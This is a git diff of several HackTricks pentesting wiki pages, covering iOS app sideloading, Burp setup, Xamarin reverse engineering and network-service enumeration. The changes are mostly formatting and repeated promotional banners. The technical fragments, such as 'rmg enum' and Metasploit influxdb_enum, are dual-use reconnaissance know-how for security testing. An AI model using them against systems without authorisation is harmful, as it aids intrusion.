@@ -368,11 +361,11 @@ Different methods exist for installing an IPA package onto an iOS device, which
 
 > Please note that iTunes is no longer available in macOS Catalina. If you are using an older version of macOS, iTunes is still available but since iTunes 12.7 it is not possible to install apps.
 
-### Cydia Impactor
+#### Cydia Impactor
 
 [Cydia Impactor](http://www.cydiaimpactor.com) was originally created to jailbreak iPhones, but has been rewritten to sign and install IPA packages to iOS devices via sideloading (and even APK files to Android devices). Cydia Impactor is available for Windows, macOS and Linux. A [step by step guide and troubleshooting steps are available on yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/).
 
-### libimobiledevice
+#### libimobiledevice
 
 On Linux and also macOS, you can alternatively use [libimobiledevice](https://www.libimobiledevice.org), a cross-platform software protocol library and a set of tools for native communication with iOS devices. This allows you to install apps over a USB connection by executing ideviceinstaller. The connection is implemented with the USB multiplexing daemon [usbmuxd](https://www.theiphonewiki.com/wiki/Usbmux), which provides a TCP tunnel over USB.
 
@@ -396,7 +389,7 @@ Install: Complete
 $ idevicedebug -d run OWASP.iGoat-Swift
 ```
 
-### ipainstaller
+#### ipainstaller
 
 The IPA can also be directly installed on the iOS device via the command line with [ipainstaller](https://github.com/autopear/ipainstaller). After copying the file over to the device, for example via scp, you can execute ipainstaller with the IPA's filename:
 
@@ -404,7 +397,7 @@ The IPA can also be directly installed on the iOS device via the command line wi
 $ ipainstaller App_name.ipa
 ```
 
-### ios-deploy
+#### ios-deploy
 
 On macOS you can also use the **ios-deploy** tool to install iOS apps from the command line. You'll need to unzip your IPA since ios-deploy uses the app bundles to install apps.
 
@@ -419,7 +412,7 @@ After the app is installed on the iOS device, you can simply start it by adding
 $ ios-deploy --bundle 'Payload/Name.app' -W -d -v -m
 ```
 
-### Xcode
+#### Xcode
 
 It is also possible to use the Xcode IDE to install iOS apps by doing the following steps:
 
@@ -427,7 +420,7 @@ It is also possible to use the Xcode IDE to install iOS apps by doing the follow
 2. Select **Window/Devices and Simulators**
 3. Select the connected iOS device and click on the **+** sign in **Installed Apps**.
 
-### Allow Application Installation on a Non-iPad Device
+#### Allow Application Installation on a Non-iPad Device
 
 Sometimes an application can require to be used on an iPad device. If you only have iPhone or iPod touch devices then you can force the application to accept to be installed and used on these kinds of devices. You can do this by changing the value of the property **UIDeviceFamily** to the value **1** in the **Info.plist** file.
 
@@ -452,21 +445,14 @@ This bypass might not work if the application requires capabilities that are spe
 
 Possible values for the property [UIDeviceFamily](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/iPhoneOSKeys.html#//apple\_ref/doc/uid/TP40009252-SW11) can be found in the Apple Developer documentation.
 
-
 <details>
 
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-
-- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
 
 </details>
-
-

mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md

@@ -7,15 +7,15 @@
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -120,10 +120,10 @@ Steps to configure Burp as proxy:
 
 * Click on _**Ok**_ and the in _**Apply**_
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -135,7 +135,7 @@ Get Access Today:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

mobile-pentesting/xamarin-apps.md

@@ -16,9 +16,9 @@
 
 Xamarin is an open-source platform that gives developers access to a comprehensive selection of tools and add-ons, allowing them to **create modern apps for iOS, Android, and Windows using .NET and C#** frameworks.
 
-### Xamarin Android Architecture 
+### Xamarin Android Architecture
 
-<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Xamarin offers .NET bindings to Android.\* and Java.\* namespaces. Xamarin.
 
@@ -32,19 +32,17 @@ Both these environments run on top of the Linux kernel and invoke various APIs t
 
 Xamarin.iOS applications run under the Mono runtime environment and use full Ahead of Time (AOT) compilation to compile C# .NET codes to ARM assembly language.
 
-It runs along with the Objective-C Runtime. The runtime environments run on top of a UNIX-like kernel and invoke several APIs to the user code, which lets the developers access the underlying managed or native system.&#x20;
+It runs along with the Objective-C Runtime. The runtime environments run on top of a UNIX-like kernel and invoke several APIs to the user code, which lets the developers access the underlying managed or native system.
 
 The below-given diagram depicts this architecture:
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### What is .Net Runtime and Mono Framework?
 
-**.Net framework is a set of assemblies, classes, and namespaces** that developers can use to create applications; .Net Runtime runs the compiled code, and the process is called managed code execution.  .NET Runtime provides several features that ensure platform independence and are compatible with older framework versions.
+**.Net framework is a set of assemblies, classes, and namespaces** that developers can use to create applications; .Net Runtime runs the compiled code, and the process is called managed code execution. .NET Runtime provides several features that ensure platform independence and are compatible with older framework versions.
-
-**Mono Framework** was started in 2005 as an implementation of the .NET Framework for Linux (Ximian/SuSe/Novell). Sponsored by Microsoft and led by Xamarin, Mono is the .NET framework's open-source implementation based on the ECMA standards for Common Language Runtime and C#.&#x20;
-
 
+**Mono Framework** was started in 2005 as an implementation of the .NET Framework for Linux (Ximian/SuSe/Novell). Sponsored by Microsoft and led by Xamarin, Mono is the .NET framework's open-source implementation based on the ECMA standards for Common Language Runtime and C#.
 
 ## Reverse Engineering Techniques for Xamarin Apps
 
@@ -58,7 +56,7 @@ To open the Modules window, select Debug > Windows > Modules. Once you detect th
 
 ### JIT vs AOT Compilation of Xamarin Applications
 
-These two options to compile C# based Xamarin code into an application, i.e, **Just in time compilation and ahead of time compilation**. The way of compilation affects how the application code is shipped within the apk or the ipa file.  Let us quickly take a look at it below:
+These two options to compile C# based Xamarin code into an application, i.e, **Just in time compilation and ahead of time compilation**. The way of compilation affects how the application code is shipped within the apk or the ipa file. Let us quickly take a look at it below:
 
 \- **Android**: Xamarin allows you to compile using **both the JIT and the AOT flags for android**. There is also a way to go in between to get the most speed of execution using the Hybrid AOT mode. Note that the Full AOT mode is available only for the Enterprise license.
 
@@ -72,7 +70,7 @@ If you encounter a Full AOT compiled application, and if the IL Assembly files a
 
 Just **unzip the apk/ipa** file and copy all the files present under the assemblies directory:
 
-<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 In case of Android **APKs these dll files are compressed** and cannot be directly used for decompilation. Luckily there are tools out there that we can use to **uncompress these dll files** like [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) and [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress).
 
@@ -88,9 +86,9 @@ pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
 
 In the case of the iOS, **dll files inside the IPA files can be directly loaded** into a decompiler (no need to uncompress anything).
 
-**Most of the application code can be found when we decompile the dll files.**  Also note that Xamarin Framework based apps contain 90% of common code in the builds of all platforms like iOS and Android etc.&#x20;
+**Most of the application code can be found when we decompile the dll files.** Also note that Xamarin Framework based apps contain 90% of common code in the builds of all platforms like iOS and Android etc.
 
-<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 From the above screenshot of listing the dll files that were present in the apk, we can confirm that it is a Xamarin app. It contains app-specific dll files along with the library files that are required for the app to run, such as `Xamarin.Essentails.dll` or `Mono.Security.dll` .
 
@@ -111,7 +109,7 @@ Try to check if the application has any kind of SSL pinning in place. If not, us
 ## References
 
 * [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
-* [https://thecobraden.com/posts/unpacking_xamarin_assembly_stores/](https://thecobraden.com/posts/unpacking_xamarin_assembly_stores/)
+* [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/)
 
 <details>
 

network-services-pentesting/1099-pentesting-java-rmi.md

@@ -7,15 +7,15 @@
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -325,10 +325,10 @@ Entry_1:
   Command: rmg enum {IP} {PORT}
 ```
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -340,7 +340,7 @@ Get Access Today:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

network-services-pentesting/113-pentesting-ident.md

@@ -7,12 +7,12 @@
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
@@ -87,7 +87,7 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
 
 identd.conf
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
@@ -122,7 +122,7 @@ Entry_2:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

network-services-pentesting/15672-pentesting-rabbitmq-management.md

@@ -12,7 +12,7 @@
 
 </details>
 
-<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
+<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -60,7 +60,7 @@ Content-Length: 267
 
 * `port:15672 http`
 
-<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
+<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 

network-services-pentesting/8086-pentesting-influxdb.md

@@ -1,6 +1,6 @@
 # 8086 - Pentesting InfluxDB
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -15,8 +15,8 @@ Get Access Today:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
@@ -148,12 +148,12 @@ msf6 > use auxiliary/scanner/http/influxdb_enum
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\

network-services-pentesting/pentesting-postgresql.md

@@ -1,6 +1,6 @@
 # 5432,5433 - Pentesting Postgresql
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -681,7 +681,7 @@ The **password-based** authentication methods are **md5**, **crypt**, and **pass
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\

network-services-pentesting/pentesting-ssh.md

@@ -12,7 +12,7 @@
 
 </details>
 
-<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
+<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -313,7 +313,7 @@ id_rsa
 * You can find interesting guides on how to harden SSH in [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html)
 * [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
 
-<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
+<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 

network-services-pentesting/pentesting-web/angular.md

@@ -1,24 +1,24 @@
-# Angular Security
+# Angular
 
-# The Checklist
+## The Checklist
 
 Verify that:
 
-- [ ]  Angular is considered a client-side framework and is not expected to provide server-side protection
+* [ ] Angular is considered a client-side framework and is not expected to provide server-side protection
